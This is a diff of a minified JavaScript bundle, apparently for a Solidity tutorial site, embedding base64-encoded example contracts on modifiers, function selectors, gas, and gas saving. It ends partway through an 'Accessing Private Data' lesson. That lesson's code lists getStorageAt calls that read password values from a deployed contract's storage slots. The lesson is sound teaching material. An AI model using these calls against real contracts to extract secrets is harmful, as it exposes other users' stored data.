Solidity",Vw=[{fileName:"FunctionModifier.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEZ1bmN0aW9uTW9kaWZpZXIgewogICAgLy8gV2Ugd2lsbCB1c2UgdGhlc2UgdmFyaWFibGVzIHRvIGRlbW9uc3RyYXRlIGhvdyB0byB1c2UKICAgIC8vIG1vZGlmaWVycy4KICAgIGFkZHJlc3MgcHVibGljIG93bmVyOwogICAgdWludDI1NiBwdWJsaWMgeCA9IDEwOwogICAgYm9vbCBwdWJsaWMgbG9ja2VkOwoKICAgIGNvbnN0cnVjdG9yKCkgewogICAgICAgIC8vIFNldCB0aGUgdHJhbnNhY3Rpb24gc2VuZGVyIGFzIHRoZSBvd25lciBvZiB0aGUgY29udHJhY3QuCiAgICAgICAgb3duZXIgPSBtc2cuc2VuZGVyOwogICAgfQoKICAgIC8vIE1vZGlmaWVyIHRvIGNoZWNrIHRoYXQgdGhlIGNhbGxlciBpcyB0aGUgb3duZXIgb2YKICAgIC8vIHRoZSBjb250cmFjdC4KICAgIG1vZGlmaWVyIG9ubHlPd25lcigpIHsKICAgICAgICByZXF1aXJlKG1zZy5zZW5kZXIgPT0gb3duZXIsICJOb3Qgb3duZXIiKTsKICAgICAgICAvLyBVbmRlcnNjb3JlIGlzIGEgc3BlY2lhbCBjaGFyYWN0ZXIgb25seSB1c2VkIGluc2lkZQogICAgICAgIC8vIGEgZnVuY3Rpb24gbW9kaWZpZXIgYW5kIGl0IHRlbGxzIFNvbGlkaXR5IHRvCiAgICAgICAgLy8gZXhlY3V0ZSB0aGUgcmVzdCBvZiB0aGUgY29kZS4KICAgICAgICBfOwogICAgfQoKICAgIC8vIE1vZGlmaWVycyBjYW4gdGFrZSBpbnB1dHMuIFRoaXMgbW9kaWZpZXIgY2hlY2tzIHRoYXQgdGhlCiAgICAvLyBhZGRyZXNzIHBhc3NlZCBpbiBpcyBub3QgdGhlIHplcm8gYWRkcmVzcy4KICAgIG1vZGlmaWVyIHZhbGlkQWRkcmVzcyhhZGRyZXNzIF9hZGRyKSB7CiAgICAgICAgcmVxdWlyZShfYWRkciAhPSBhZGRyZXNzKDApLCAiTm90IHZhbGlkIGFkZHJlc3MiKTsKICAgICAgICBfOwogICAgfQoKICAgIGZ1bmN0aW9uIGNoYW5nZU93bmVyKGFkZHJlc3MgX25ld093bmVyKQogICAgICAgIHB1YmxpYwogICAgICAgIG9ubHlPd25lcgogICAgICAgIHZhbGlkQWRkcmVzcyhfbmV3T3duZXIpCiAgICB7CiAgICAgICAgb3duZXIgPSBfbmV3T3duZXI7CiAgICB9CgogICAgLy8gTW9kaWZpZXJzIGNhbiBiZSBjYWxsZWQgYmVmb3JlIGFuZCAvIG9yIGFmdGVyIGEgZnVuY3Rpb24uCiAgICAvLyBUaGlzIG1vZGlmaWVyIHByZXZlbnRzIGEgZnVuY3Rpb24gZnJvbSBiZWluZyBjYWxsZWQgd2hpbGUKICAgIC8vIGl0IGlzIHN0aWxsIGV4ZWN1dGluZy4KICAgIG1vZGlmaWVyIG5vUmVlbnRyYW5jeSgpIHsKICAgICAgICByZXF1aXJlKCFsb2NrZWQsICJObyByZWVudHJhbmN5Iik7CgogICAgICAgIGxvY2tlZCA9IHRydWU7CiAgICAgICAgXzsKICAgICAgICBsb2NrZWQgPSBmYWxzZTsKICAgIH0KCiAgICBmdW5jdGlvbiBkZWNyZW1lbnQodWludDI1NiBpKSBwdWJsaWMgbm9SZWVudHJhbmN5IHsKICAgICAgICB4IC09IGk7CgogICAgICAgIGlmIChpID4gMSkgewogICAgICAgICAgICBkZWNyZW1lbnQoaSAtIDEpOwogICAgICAgIH0KICAgIH0KfQo="}],fw=`

                          Modifiers are code that can be run before and / or after a function call.

                          +`,Rw=({prev:s,next:a})=>r.jsx(u,{version:Bw,title:Gw,description:Vw,html:Yw,prev:s,next:a,codes:fw}),Xw="0.8.24",vw="Function Modifier",Nw="Example of how to write function modifier in Solidity",Hw=[{fileName:"FunctionModifier.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEZ1bmN0aW9uTW9kaWZpZXIgewogICAgLy8gV2Ugd2lsbCB1c2UgdGhlc2UgdmFyaWFibGVzIHRvIGRlbW9uc3RyYXRlIGhvdyB0byB1c2UKICAgIC8vIG1vZGlmaWVycy4KICAgIGFkZHJlc3MgcHVibGljIG93bmVyOwogICAgdWludDI1NiBwdWJsaWMgeCA9IDEwOwogICAgYm9vbCBwdWJsaWMgbG9ja2VkOwoKICAgIGNvbnN0cnVjdG9yKCkgewogICAgICAgIC8vIFNldCB0aGUgdHJhbnNhY3Rpb24gc2VuZGVyIGFzIHRoZSBvd25lciBvZiB0aGUgY29udHJhY3QuCiAgICAgICAgb3duZXIgPSBtc2cuc2VuZGVyOwogICAgfQoKICAgIC8vIE1vZGlmaWVyIHRvIGNoZWNrIHRoYXQgdGhlIGNhbGxlciBpcyB0aGUgb3duZXIgb2YKICAgIC8vIHRoZSBjb250cmFjdC4KICAgIG1vZGlmaWVyIG9ubHlPd25lcigpIHsKICAgICAgICByZXF1aXJlKG1zZy5zZW5kZXIgPT0gb3duZXIsICJOb3Qgb3duZXIiKTsKICAgICAgICAvLyBVbmRlcnNjb3JlIGlzIGEgc3BlY2lhbCBjaGFyYWN0ZXIgb25seSB1c2VkIGluc2lkZQogICAgICAgIC8vIGEgZnVuY3Rpb24gbW9kaWZpZXIgYW5kIGl0IHRlbGxzIFNvbGlkaXR5IHRvCiAgICAgICAgLy8gZXhlY3V0ZSB0aGUgcmVzdCBvZiB0aGUgY29kZS4KICAgICAgICBfOwogICAgfQoKICAgIC8vIE1vZGlmaWVycyBjYW4gdGFrZSBpbnB1dHMuIFRoaXMgbW9kaWZpZXIgY2hlY2tzIHRoYXQgdGhlCiAgICAvLyBhZGRyZXNzIHBhc3NlZCBpbiBpcyBub3QgdGhlIHplcm8gYWRkcmVzcy4KICAgIG1vZGlmaWVyIHZhbGlkQWRkcmVzcyhhZGRyZXNzIF9hZGRyKSB7CiAgICAgICAgcmVxdWlyZShfYWRkciAhPSBhZGRyZXNzKDApLCAiTm90IHZhbGlkIGFkZHJlc3MiKTsKICAgICAgICBfOwogICAgfQoKICAgIGZ1bmN0aW9uIGNoYW5nZU93bmVyKGFkZHJlc3MgX25ld093bmVyKQogICAgICAgIHB1YmxpYwogICAgICAgIG9ubHlPd25lcgogICAgICAgIHZhbGlkQWRkcmVzcyhfbmV3T3duZXIpCiAgICB7CiAgICAgICAgb3duZXIgPSBfbmV3T3duZXI7CiAgICB9CgogICAgLy8gTW9kaWZpZXJzIGNhbiBiZSBjYWxsZWQgYmVmb3JlIGFuZCAvIG9yIGFmdGVyIGEgZnVuY3Rpb24uCiAgICAvLyBUaGlzIG1vZGlmaWVyIHByZXZlbnRzIGEgZnVuY3Rpb24gZnJvbSBiZWluZyBjYWxsZWQgd2hpbGUKICAgIC8vIGl0IGlzIHN0aWxsIGV4ZWN1dGluZy4KICAgIG1vZGlmaWVyIG5vUmVlbnRyYW5jeSgpIHsKICAgICAgICByZXF1aXJlKCFsb2NrZWQsICJObyByZWVudHJhbmN5Iik7CgogICAgICAgIGxvY2tlZCA9IHRydWU7CiAgICAgICAgXzsKICAgICAgICBsb2NrZWQgPSBmYWxzZTsKICAgIH0KCiAgICBmdW5jdGlvbiBkZWNyZW1lbnQodWludDI1NiBpKSBwdWJsaWMgbm9SZWVudHJhbmN5IHsKICAgICAgICB4IC09IGk7CgogICAgICAgIGlmIChpID4gMSkgewogICAgICAgICAgICBkZWNyZW1lbnQoaSAtIDEpOwogICAgICAgIH0KICAgIH0KfQo="}],Fw=`

                          Modifiers are code that can be run before and / or after a function call.

                          Modifiers can be used to:

                          • Restrict access
                            • @@ -7509,7 +8071,7 @@ assertion probably means that there is a bug. } } } -`,Yw=({prev:s,next:a})=>r.jsx(u,{version:Ww,title:Gw,description:Bw,html:fw,prev:s,next:a,codes:Vw}),Rw="0.8.24",Xw="Function Selector",vw="Example of how function selectors are computed",Nw=[{fileName:"FunctionSelector.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEZ1bmN0aW9uU2VsZWN0b3IgewogICAgLyoKICAgICJ0cmFuc2ZlcihhZGRyZXNzLHVpbnQyNTYpIgogICAgMHhhOTA1OWNiYgogICAgInRyYW5zZmVyRnJvbShhZGRyZXNzLGFkZHJlc3MsdWludDI1NikiCiAgICAweDIzYjg3MmRkCiAgICAqLwogICAgZnVuY3Rpb24gZ2V0U2VsZWN0b3Ioc3RyaW5nIGNhbGxkYXRhIF9mdW5jKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKGJ5dGVzNCkKICAgIHsKICAgICAgICByZXR1cm4gYnl0ZXM0KGtlY2NhazI1NihieXRlcyhfZnVuYykpKTsKICAgIH0KfQo="}],Hw=`

                            When a function is called, the first 4 bytes of calldata specifies which function to call.

                            +`,Kw=({prev:s,next:a})=>r.jsx(u,{version:Xw,title:vw,description:Nw,html:Fw,prev:s,next:a,codes:Hw}),Sw="0.8.24",Mw="Function Selector",xw="Example of how function selectors are computed",Jw=[{fileName:"FunctionSelector.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEZ1bmN0aW9uU2VsZWN0b3IgewogICAgLyoKICAgICJ0cmFuc2ZlcihhZGRyZXNzLHVpbnQyNTYpIgogICAgMHhhOTA1OWNiYgogICAgInRyYW5zZmVyRnJvbShhZGRyZXNzLGFkZHJlc3MsdWludDI1NikiCiAgICAweDIzYjg3MmRkCiAgICAqLwogICAgZnVuY3Rpb24gZ2V0U2VsZWN0b3Ioc3RyaW5nIGNhbGxkYXRhIF9mdW5jKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKGJ5dGVzNCkKICAgIHsKICAgICAgICByZXR1cm4gYnl0ZXM0KGtlY2NhazI1NihieXRlcyhfZnVuYykpKTsKICAgIH0KfQo="}],zw=`

                            When a function is called, the first 4 bytes of calldata specifies which function to call.

                            This 4 bytes is called a function selector.

                            Take for example, this code below. It uses call to execute transfer on a contract at the address addr.

                            addr.call(abi.encodeWithSignature("transfer(address,uint256)", 0xSomeAddress, 123))
@@ -7534,7 +8096,7 @@ assertion probably means that there is a bug.
         return bytes4(keccak256(bytes(_func)));
     }
 }
-
                            `,Fw=({prev:s,next:a})=>r.jsx(u,{version:Rw,title:Xw,description:vw,html:Hw,prev:s,next:a,codes:Nw}),Kw="0.8.24",Sw="Gas",Mw="Example of gas and gas limit in Solidity",xw=[{fileName:"Gas.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEdhcyB7CiAgICB1aW50MjU2IHB1YmxpYyBpID0gMDsKCiAgICAvLyBVc2luZyB1cCBhbGwgb2YgdGhlIGdhcyB0aGF0IHlvdSBzZW5kIGNhdXNlcyB5b3VyIHRyYW5zYWN0aW9uIHRvIGZhaWwuCiAgICAvLyBTdGF0ZSBjaGFuZ2VzIGFyZSB1bmRvbmUuCiAgICAvLyBHYXMgc3BlbnQgYXJlIG5vdCByZWZ1bmRlZC4KICAgIGZ1bmN0aW9uIGZvcmV2ZXIoKSBwdWJsaWMgewogICAgICAgIC8vIEhlcmUgd2UgcnVuIGEgbG9vcCB1bnRpbCBhbGwgb2YgdGhlIGdhcyBhcmUgc3BlbnQKICAgICAgICAvLyBhbmQgdGhlIHRyYW5zYWN0aW9uIGZhaWxzCiAgICAgICAgd2hpbGUgKHRydWUpIHsKICAgICAgICAgICAgaSArPSAxOwogICAgICAgIH0KICAgIH0KfQo="}],Jw=`

                            How much ether do you need to pay for a transaction?

                            +`,Ew=({prev:s,next:a})=>r.jsx(u,{version:Sw,title:Mw,description:xw,html:zw,prev:s,next:a,codes:Jw}),Dw="0.8.24",Tw="Gas",Uw="Example of gas and gas limit in Solidity",Qw=[{fileName:"Gas.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEdhcyB7CiAgICB1aW50MjU2IHB1YmxpYyBpID0gMDsKCiAgICAvLyBVc2luZyB1cCBhbGwgb2YgdGhlIGdhcyB0aGF0IHlvdSBzZW5kIGNhdXNlcyB5b3VyIHRyYW5zYWN0aW9uIHRvIGZhaWwuCiAgICAvLyBTdGF0ZSBjaGFuZ2VzIGFyZSB1bmRvbmUuCiAgICAvLyBHYXMgc3BlbnQgYXJlIG5vdCByZWZ1bmRlZC4KICAgIGZ1bmN0aW9uIGZvcmV2ZXIoKSBwdWJsaWMgewogICAgICAgIC8vIEhlcmUgd2UgcnVuIGEgbG9vcCB1bnRpbCBhbGwgb2YgdGhlIGdhcyBhcmUgc3BlbnQKICAgICAgICAvLyBhbmQgdGhlIHRyYW5zYWN0aW9uIGZhaWxzCiAgICAgICAgd2hpbGUgKHRydWUpIHsKICAgICAgICAgICAgaSArPSAxOwogICAgICAgIH0KICAgIH0KfQo="}],_w=`

                            How much ether do you need to pay for a transaction?

                            You pay gas spent * gas price amount of ether, where

                            • gas is a unit of computation
                              • @@ -7566,7 +8128,7 @@ assertion probably means that there is a bug. } } } -`,zw=({prev:s,next:a})=>r.jsx(u,{version:Kw,title:Sw,description:Mw,html:Jw,prev:s,next:a,codes:xw}),Ew="0.8.24",Uw="Gas Saving Techniques",Tw="Some gas saving techniques",Qw=[{fileName:"GasGolf.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8vIGdhcyBnb2xmCmNvbnRyYWN0IEdhc0dvbGYgewogICAgLy8gc3RhcnQgLSA1MDkwOCBnYXMKICAgIC8vIHVzZSBjYWxsZGF0YSAtIDQ5MTYzIGdhcwogICAgLy8gbG9hZCBzdGF0ZSB2YXJpYWJsZXMgdG8gbWVtb3J5IC0gNDg5NTIgZ2FzCiAgICAvLyBzaG9ydCBjaXJjdWl0IC0gNDg2MzQgZ2FzCiAgICAvLyBsb29wIGluY3JlbWVudHMgLSA0ODI0NCBnYXMKICAgIC8vIGNhY2hlIGFycmF5IGxlbmd0aCAtIDQ4MjA5IGdhcwogICAgLy8gbG9hZCBhcnJheSBlbGVtZW50cyB0byBtZW1vcnkgLSA0ODA0NyBnYXMKICAgIC8vIHVuY2hlY2sgaSBvdmVyZmxvdy91bmRlcmZsb3cgLSA0NzMwOSBnYXMKCiAgICB1aW50MjU2IHB1YmxpYyB0b3RhbDsKCiAgICAvLyBzdGFydCAtIG5vdCBnYXMgb3B0aW1pemVkCiAgICAvLyBmdW5jdGlvbiBzdW1JZkV2ZW5BbmRMZXNzVGhhbjk5KHVpbnRbXSBtZW1vcnkgbnVtcykgZXh0ZXJuYWwgewogICAgLy8gICAgIGZvciAodWludCBpID0gMDsgaSA8IG51bXMubGVuZ3RoOyBpICs9IDEpIHsKICAgIC8vICAgICAgICAgYm9vbCBpc0V2ZW4gPSBudW1zW2ldICUgMiA9PSAwOwogICAgLy8gICAgICAgICBib29sIGlzTGVzc1RoYW45OSA9IG51bXNbaV0gPCA5OTsKICAgIC8vICAgICAgICAgaWYgKGlzRXZlbiAmJiBpc0xlc3NUaGFuOTkpIHsKICAgIC8vICAgICAgICAgICAgIHRvdGFsICs9IG51bXNbaV07CiAgICAvLyAgICAgICAgIH0KICAgIC8vICAgICB9CiAgICAvLyB9CgogICAgLy8gZ2FzIG9wdGltaXplZAogICAgLy8gWzEsIDIsIDMsIDQsIDUsIDEwMF0KICAgIGZ1bmN0aW9uIHN1bUlmRXZlbkFuZExlc3NUaGFuOTkodWludDI1NltdIGNhbGxkYXRhIG51bXMpIGV4dGVybmFsIHsKICAgICAgICB1aW50MjU2IF90b3RhbCA9IHRvdGFsOwogICAgICAgIHVpbnQyNTYgbGVuID0gbnVtcy5sZW5ndGg7CgogICAgICAgIGZvciAodWludDI1NiBpID0gMDsgaSA8IGxlbjspIHsKICAgICAgICAgICAgdWludDI1NiBudW0gPSBudW1zW2ldOwogICAgICAgICAgICBpZiAobnVtICUgMiA9PSAwICYmIG51bSA8IDk5KSB7CiAgICAgICAgICAgICAgICBfdG90YWwgKz0gbnVtOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHVuY2hlY2tlZCB7CiAgICAgICAgICAgICAgICArK2k7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIHRvdGFsID0gX3RvdGFsOwogICAgfQp9Cg=="}],Dw=`

                              Some gas saving techniques.

                              +`,Lw=({prev:s,next:a})=>r.jsx(u,{version:Dw,title:Tw,description:Uw,html:_w,prev:s,next:a,codes:Qw}),Ow="0.8.24",Pw="Gas Saving Techniques",$w="Some gas saving techniques",qw=[{fileName:"GasGolf.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8vIGdhcyBnb2xmCmNvbnRyYWN0IEdhc0dvbGYgewogICAgLy8gc3RhcnQgLSA1MDkwOCBnYXMKICAgIC8vIHVzZSBjYWxsZGF0YSAtIDQ5MTYzIGdhcwogICAgLy8gbG9hZCBzdGF0ZSB2YXJpYWJsZXMgdG8gbWVtb3J5IC0gNDg5NTIgZ2FzCiAgICAvLyBzaG9ydCBjaXJjdWl0IC0gNDg2MzQgZ2FzCiAgICAvLyBsb29wIGluY3JlbWVudHMgLSA0ODI0NCBnYXMKICAgIC8vIGNhY2hlIGFycmF5IGxlbmd0aCAtIDQ4MjA5IGdhcwogICAgLy8gbG9hZCBhcnJheSBlbGVtZW50cyB0byBtZW1vcnkgLSA0ODA0NyBnYXMKICAgIC8vIHVuY2hlY2sgaSBvdmVyZmxvdy91bmRlcmZsb3cgLSA0NzMwOSBnYXMKCiAgICB1aW50MjU2IHB1YmxpYyB0b3RhbDsKCiAgICAvLyBzdGFydCAtIG5vdCBnYXMgb3B0aW1pemVkCiAgICAvLyBmdW5jdGlvbiBzdW1JZkV2ZW5BbmRMZXNzVGhhbjk5KHVpbnRbXSBtZW1vcnkgbnVtcykgZXh0ZXJuYWwgewogICAgLy8gICAgIGZvciAodWludCBpID0gMDsgaSA8IG51bXMubGVuZ3RoOyBpICs9IDEpIHsKICAgIC8vICAgICAgICAgYm9vbCBpc0V2ZW4gPSBudW1zW2ldICUgMiA9PSAwOwogICAgLy8gICAgICAgICBib29sIGlzTGVzc1RoYW45OSA9IG51bXNbaV0gPCA5OTsKICAgIC8vICAgICAgICAgaWYgKGlzRXZlbiAmJiBpc0xlc3NUaGFuOTkpIHsKICAgIC8vICAgICAgICAgICAgIHRvdGFsICs9IG51bXNbaV07CiAgICAvLyAgICAgICAgIH0KICAgIC8vICAgICB9CiAgICAvLyB9CgogICAgLy8gZ2FzIG9wdGltaXplZAogICAgLy8gWzEsIDIsIDMsIDQsIDUsIDEwMF0KICAgIGZ1bmN0aW9uIHN1bUlmRXZlbkFuZExlc3NUaGFuOTkodWludDI1NltdIGNhbGxkYXRhIG51bXMpIGV4dGVybmFsIHsKICAgICAgICB1aW50MjU2IF90b3RhbCA9IHRvdGFsOwogICAgICAgIHVpbnQyNTYgbGVuID0gbnVtcy5sZW5ndGg7CgogICAgICAgIGZvciAodWludDI1NiBpID0gMDsgaSA8IGxlbjspIHsKICAgICAgICAgICAgdWludDI1NiBudW0gPSBudW1zW2ldOwogICAgICAgICAgICBpZiAobnVtICUgMiA9PSAwICYmIG51bSA8IDk5KSB7CiAgICAgICAgICAgICAgICBfdG90YWwgKz0gbnVtOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHVuY2hlY2tlZCB7CiAgICAgICAgICAgICAgICArK2k7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIHRvdGFsID0gX3RvdGFsOwogICAgfQp9Cg=="}],sk=`

                              Some gas saving techniques.

                              • Replacing memory with calldata
                              • Loading state variable to memory
                                • @@ -7620,7 +8182,7 @@ assertion probably means that there is a bug. total = _total; } } -`,Lw=({prev:s,next:a})=>r.jsx(u,{version:Ew,title:Uw,description:Tw,html:Dw,prev:s,next:a,codes:Qw}),_w="0.8.24",Ow="Accessing Private Data",Pw="An example of accessing private data from a Solidity smart contract",$w=[{fileName:"Vault.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qCk5vdGU6IGNhbm5vdCB1c2Ugd2ViMyBvbiBKVk0sIHNvIHVzZSB0aGUgY29udHJhY3QgZGVwbG95ZWQgb24gR29lcmxpCk5vdGU6IGJyb3dzZXIgV2ViMyBpcyBvbGQgc28gdXNlIFdlYjMgZnJvbSB0cnVmZmxlIGNvbnNvbGUKCkNvbnRyYWN0IGRlcGxveWVkIG9uIEdvZXJsaQoweDUzNEU0Q2UwZmZGNzc5NTEzNzkzY2ZkNzAzMDhBRjE5NTgyN0JEMzEKKi8KCi8qCiMgU3RvcmFnZQotIDIgKiogMjU2IHNsb3RzCi0gMzIgYnl0ZXMgZm9yIGVhY2ggc2xvdAotIGRhdGEgaXMgc3RvcmVkIHNlcXVlbnRpYWxseSBpbiB0aGUgb3JkZXIgb2YgZGVjbGFyYXRpb24KLSBzdG9yYWdlIGlzIG9wdGltaXplZCB0byBzYXZlIHNwYWNlLiBJZiBuZWlnaGJvcmluZyB2YXJpYWJsZXMgZml0IGluIGEgc2luZ2xlCiAgMzIgYnl0ZXMsIHRoZW4gdGhleSBhcmUgcGFja2VkIGludG8gdGhlIHNhbWUgc2xvdCwgc3RhcnRpbmcgZnJvbSB0aGUgcmlnaHQKKi8KCmNvbnRyYWN0IFZhdWx0IHsKICAgIC8vIHNsb3QgMAogICAgdWludDI1NiBwdWJsaWMgY291bnQgPSAxMjM7CiAgICAvLyBzbG90IDEKICAgIGFkZHJlc3MgcHVibGljIG93bmVyID0gbXNnLnNlbmRlcjsKICAgIGJvb2wgcHVibGljIGlzVHJ1ZSA9IHRydWU7CiAgICB1aW50MTYgcHVibGljIHUxNiA9IDMxOwogICAgLy8gc2xvdCAyCiAgICBieXRlczMyIHByaXZhdGUgcGFzc3dvcmQ7CgogICAgLy8gY29uc3RhbnRzIGRvIG5vdCB1c2Ugc3RvcmFnZQogICAgdWludDI1NiBwdWJsaWMgY29uc3RhbnQgc29tZUNvbnN0ID0gMTIzOwoKICAgIC8vIHNsb3QgMywgNCwgNSAob25lIGZvciBlYWNoIGFycmF5IGVsZW1lbnQpCiAgICBieXRlczMyWzNdIHB1YmxpYyBkYXRhOwoKICAgIHN0cnVjdCBVc2VyIHsKICAgICAgICB1aW50MjU2IGlkOwogICAgICAgIGJ5dGVzMzIgcGFzc3dvcmQ7CiAgICB9CgogICAgLy8gc2xvdCA2IC0gbGVuZ3RoIG9mIGFycmF5CiAgICAvLyBzdGFydGluZyBmcm9tIHNsb3QgaGFzaCg2KSAtIGFycmF5IGVsZW1lbnRzCiAgICAvLyBzbG90IHdoZXJlIGFycmF5IGVsZW1lbnQgaXMgc3RvcmVkID0ga2VjY2FrMjU2KHNsb3QpKSArIChpbmRleCAqIGVsZW1lbnRTaXplKQogICAgLy8gd2hlcmUgc2xvdCA9IDYgYW5kIGVsZW1lbnRTaXplID0gMiAoMSAodWludCkgKyAgMSAoYnl0ZXMzMikpCiAgICBVc2VyW10gcHJpdmF0ZSB1c2VyczsKCiAgICAvLyBzbG90IDcgLSBlbXB0eQogICAgLy8gZW50cmllcyBhcmUgc3RvcmVkIGF0IGhhc2goa2V5LCBzbG90KQogICAgLy8gd2hlcmUgc2xvdCA9IDcsIGtleSA9IG1hcCBrZXkKICAgIG1hcHBpbmcodWludDI1NiA9PiBVc2VyKSBwcml2YXRlIGlkVG9Vc2VyOwoKICAgIGNvbnN0cnVjdG9yKGJ5dGVzMzIgX3Bhc3N3b3JkKSB7CiAgICAgICAgcGFzc3dvcmQgPSBfcGFzc3dvcmQ7CiAgICB9CgogICAgZnVuY3Rpb24gYWRkVXNlcihieXRlczMyIF9wYXNzd29yZCkgcHVibGljIHsKICAgICAgICBVc2VyIG1lbW9yeSB1c2VyID0gVXNlcih7aWQ6IHVzZXJzLmxlbmd0aCwgcGFzc3dvcmQ6IF9wYXNzd29yZH0pOwoKICAgICAgICB1c2Vycy5wdXNoKHVzZXIpOwogICAgICAgIGlkVG9Vc2VyW3VzZXIuaWRdID0gdXNlcjsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXRBcnJheUxvY2F0aW9uKHVpbnQyNTYgc2xvdCwgdWludDI1NiBpbmRleCwgdWludDI1NiBlbGVtZW50U2l6ZSkKICAgICAgICBwdWJsaWMKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAodWludDI1NikKICAgIHsKICAgICAgICByZXR1cm4KICAgICAgICAgICAgdWludDI1NihrZWNjYWsyNTYoYWJpLmVuY29kZVBhY2tlZChzbG90KSkpICsgKGluZGV4ICogZWxlbWVudFNpemUpOwogICAgfQoKICAgIGZ1bmN0aW9uIGdldE1hcExvY2F0aW9uKHVpbnQyNTYgc2xvdCwgdWludDI1NiBrZXkpCiAgICAgICAgcHVibGljCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKHVpbnQyNTYpCiAgICB7CiAgICAgICAgcmV0dXJuIHVpbnQyNTYoa2VjY2FrMjU2KGFiaS5lbmNvZGVQYWNrZWQoa2V5LCBzbG90KSkpOwogICAgfQp9CgovKgpzbG90IDAgLSBjb3VudAp3ZWIzLmV0aC5nZXRTdG9yYWdlQXQoIjB4NTM0RTRDZTBmZkY3Nzk1MTM3OTNjZmQ3MDMwOEFGMTk1ODI3QkQzMSIsIDAsIGNvbnNvbGUubG9nKQpzbG90IDEgLSB1MTYsIGlzVHJ1ZSwgb3duZXIKd2ViMy5ldGguZ2V0U3RvcmFnZUF0KCIweDUzNEU0Q2UwZmZGNzc5NTEzNzkzY2ZkNzAzMDhBRjE5NTgyN0JEMzEiLCAxLCBjb25zb2xlLmxvZykKc2xvdCAyIC0gcGFzc3dvcmQKd2ViMy5ldGguZ2V0U3RvcmFnZUF0KCIweDUzNEU0Q2UwZmZGNzc5NTEzNzkzY2ZkNzAzMDhBRjE5NTgyN0JEMzEiLCAyLCBjb25zb2xlLmxvZykKCnNsb3QgNiAtIGFycmF5IGxlbmd0aApnZXRBcnJheUxvY2F0aW9uKDYsIDAsIDIpCndlYjMudXRpbHMubnVtYmVyVG9IZXgoIjExMTQxNDA3NzgxNTg2MzQwMDUxMDAwNDA2NDYyOTk3MzU5NTk2MTU3OTE3MzY2NTU4OTIyNDIwMzUwMzY2MjE0OTM3MzcyNDk4NjY4NyIpCk5vdGU6IFdlIGNhbiBhbHNvIHVzZSB3ZWIzIHRvIGdldCBkYXRhIGxvY2F0aW9uCndlYjMudXRpbHMuc29saWRpdHlTaGEzKHsgdHlwZTogInVpbnQiLCB2YWx1ZTogNiB9KQoxc3QgdXNlcgp3ZWIzLmV0aC5nZXRTdG9yYWdlQXQoIjB4NTM0RTRDZTBmZkY3Nzk1MTM3OTNjZmQ3MDMwOEFGMTk1ODI3QkQzMSIsICIweGY2NTIyMjIzMTNlMjg0NTk1MjhkOTIwYjY1MTE1YzE2YzA0ZjNlZmM4MmFhZWRjOTdiZTU5ZjNmMzc3YzBkM2YiLCBjb25zb2xlLmxvZykKd2ViMy5ldGguZ2V0U3RvcmFnZUF0KCIweDUzNEU0Q2UwZmZGNzc5NTEzNzkzY2ZkNzAzMDhBRjE5NTgyN0JEMzEiLCAiMHhmNjUyMjIyMzEzZTI4NDU5NTI4ZDkyMGI2NTExNWMxNmMwNGYzZWZjODJhYWVkYzk3YmU1OWYzZjM3N2MwZDQwIiwgY29uc29sZS5sb2cpCk5vdGU6IHVzZSB3ZWIzLnRvQXNjaWkgdG8gY29udmVydCBieXRlczMyIHRvIGFscGhhYmV0CjJuZCB1c2VyCndlYjMuZXRoLmdldFN0b3JhZ2VBdCgiMHg1MzRFNENlMGZmRjc3OTUxMzc5M2NmZDcwMzA4QUYxOTU4MjdCRDMxIiwgIjB4ZjY1MjIyMjMxM2UyODQ1OTUyOGQ5MjBiNjUxMTVjMTZjMDRmM2VmYzgyYWFlZGM5N2JlNTlmM2YzNzdjMGQ0MSIsIGNvbnNvbGUubG9nKQp3ZWIzLmV0aC5nZXRTdG9yYWdlQXQoIjB4NTM0RTRDZTBmZkY3Nzk1MTM3OTNjZmQ3MDMwOEFGMTk1ODI3QkQzMSIsICIweGY2NTIyMjIzMTNlMjg0NTk1MjhkOTIwYjY1MTE1YzE2YzA0ZjNlZmM4MmFhZWRjOTdiZTU5ZjNmMzc3YzBkNDIiLCBjb25zb2xlLmxvZykKCnNsb3QgNyAtIGVtcHR5CmdldE1hcExvY2F0aW9uKDcsIDEpCndlYjMudXRpbHMubnVtYmVyVG9IZXgoIjgxMjIyMTkxOTg2MjI2ODA5MTAzMjc5MTE5OTk0NzA3ODY4MzIyODU1NzQxODE5OTA1OTA0NDE3OTUzMDkyNjY2Njk5MDk2OTYzMTEyIikKTm90ZTogV2UgY2FuIGFsc28gdXNlIHdlYjMgdG8gZ2V0IGRhdGEgb